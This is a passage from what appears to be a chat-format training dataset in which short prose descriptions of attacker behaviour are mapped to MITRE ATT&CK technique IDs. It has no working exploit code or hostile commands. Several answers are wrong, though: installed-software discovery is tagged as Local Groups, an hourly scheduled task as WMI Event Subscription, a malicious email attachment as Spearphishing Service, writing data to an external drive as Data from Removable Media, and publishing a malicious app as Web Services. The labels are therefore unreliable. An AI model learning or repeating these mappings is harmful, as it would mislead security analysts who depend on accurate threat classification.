            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses msconfig to enable Safe Mode on next reboot, thereby bypassing endpoint protection."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was disguised as \"explorer.exe\" and placed in the user's startup directory, matching the name of the real Windows Explorer process to evade discovery."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Social engineering leads victims to a spoofed web portal hosted on a look‑alike domain, where their usernames and passwords are captured."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a malicious PDF to launch a hidden browser and harvest its profile data, including extensions and cookies."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker disables GCP Cloud Logging by removing the log sink permissions from the service account used for logging."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leverages SMTP to send encrypted data back to the attackers via email."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary runs a script that lists all network interfaces and their configurations to identify potential pivot points."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor runs snmpget commands to retrieve specific MIB entries containing credentials."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers extracted a client authentication certificate from a compromised endpoint to bypass mutual TLS controls."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries the system for peripheral device details, such as attached printers and external drives."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of ransomware drops a tampered PasswordFilter.dll into the system directory and updates the Image File Execution Options to ensure it is loaded before the legitimate filter, stealing passwords silently."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers used a cross-site scripting (XSS) vulnerability to inject defacement content into the homepage."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware queries the hypervisor's CPUID to detect if it is running inside a virtual machine before executing its payload."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet performs a UDP-based reflection attack by leveraging misconfigured SSDP devices, sending spoofed requests that cause the devices to flood the target with amplified traffic."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker lists all active Docker containers on the host and queries each for environment variables and mounted volumes."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create a zip archive of harvested data in a covert directory to stage for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script opened an outbound HTTP connection to a non-standard port and sent logs containing user credentials."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script creates a DDE link to the system's command prompt to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the AWS IAM PassRole permission to temporarily assign a higher‑privilege role to a compromised EC2 instance."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the Windows Credential Store API to pull saved Wi‑Fi keys and credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary captures the victim's OTP by intercepting SMS messages and then uses it to approve a login request, effectively bypassing multi-factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Social engineering tactics for stealing credentials and data"
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs the 'whoami' command on the compromised host to identify the logged‑in user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker plants a rogue Windows Server configured as a domain controller to perform SMB relay attacks and steal domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends targeted emails with malicious attachments that, when opened, install a remote access trojan on the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the Windows Time service to load a malicious provider, achieving autostart execution via T1547.003."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware packages confidential files into a gzip archive and then encodes it with UUencode for covert delivery."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hijacks the systemd service for cron to execute additional malicious commands."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute a shell command to retrieve the list of installed software packages on a Linux system."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using compromised credentials, the threat actor created a point-in-time snapshot of a cloud compute resource."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker invoked the snapshot function via the cloud console to duplicate a compromised virtual server."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using authorized SSH keys, the intruder logs into a remote system to run a PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a staging folder within the AppData path to accumulate data prior to transfer."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages XSL transformations to execute system commands via the msxsl.exe utility, achieving code execution."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures the payload to listen on port 22, but actually uses port 2222 for inbound connections."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker searches open technical databases for certificates containing the target's domain names to aid in phishing campaign planning."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor installed on the target machine uses the Java Sound API to record audio from the default input device and uploads it via FTP."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses sudo privileges to install a launch daemon that loads a rootkit at boot time."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by creating a scheduled task that calls mmc.exe with a malicious snap‑in, enabling covert execution."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary compromised a web server and replaced the homepage HTML with a political protest message, causing the site to display the defaced content to all visitors."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a malicious Android app and publishes it on a third‑party app store."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team simulates rolling back a macOS system image to a version before the introduction of System Integrity Protection."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged mshta.exe to execute a malicious .hta payload hosted on a remote server, allowing code execution without triggering application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script runs the 'az ad group list' command to retrieve every Azure AD group in the tenant."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installed on the victim's computer writes exfiltrated data to a connected external hard drive."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Registry keys controlling autorun entries are cleared to remove evidence of persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor writes a custom .service file to /usr/lib/systemd/system, then runs systemctl daemon-reload and start."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Virus stages data in a remote WebDAV directory accessible over the Internet."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability in the SSO implementation to inject a custom authentication handler that logs all credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker creates a scheduled task named 'Updater' that runs a malicious PowerShell script every hour."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set deploys a payload that parses the macOS Keychain and retrieves saved credential information."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes the IPC$ share to authenticate and then copies ransomware payloads onto the victim's file system."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker purchases a commercial exploitation framework to automate the delivery of malware."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor swaps the legitimate OS image with a malicious version to persist across reboots."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses AWS CLI to list IAM groups, revealing permission structures."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised web server to set up a HTTP CONNECT tunnel, bridging the external attacker to internal services behind the firewall."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage tool inspects the Windows registry for values that indicate a remote desktop session is active, proceeding only when a local user is interacting."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group deploys a malicious certificate to the Windows Certificate Manager, granting signed payloads elevated trust."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages Office 365 PowerShell remote sessions to execute arbitrary scripts on user workstations from the cloud."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged a known RDP vulnerability to execute arbitrary code and gain remote control of the host."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor triggers a race condition in a Linux kernel module, leading to a denial of service on the targeted endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the .bash_profile of a service account to export a malicious environment variable and execute a binary."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware writes random strings to unused sectors of the hard drive, obscuring its true data exfiltration channels."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool creates an encrypted channel by applying a stream cipher with a pre‑shared secret to hide its communication."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A reconnaissance script enumerates the company's public DNS records and combines them with LinkedIn profile data to compile a list of corporate email addresses."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary extracts source code from public GitHub repositories that contain hard‑coded API keys."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies a user’s crontab to reference a systemd timer, causing a hidden process to start during idle periods."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a counterfeit version of a system .dylib in a user-writable location that is searched before the authentic library, resulting in the victim process loading the malicious library and executing the payload."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors compromise a compiler used by a software vendor, embedding a payload that activates on every compiled product."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script locates and copies keylogger output files saved on the local filesystem before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe a scenario where an attacker uses process hollowing to execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware establishes a reverse proxy on a compromised server, allowing attackers to forward data and avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a domain using a fake WHOIS contact to evade attribution."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installs a backdoor script in the website's upload directory, granting them a persistent foothold."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor is installed by editing the /etc/cron.daily directory to include a shell script that fetches additional payloads from the internet."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder modifies the IAM policy of a GCP service account, adding the \"Editor\" role to increase permissions."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware drops a text file named passwords.log containing plaintext credentials for multiple services."
            },
            {
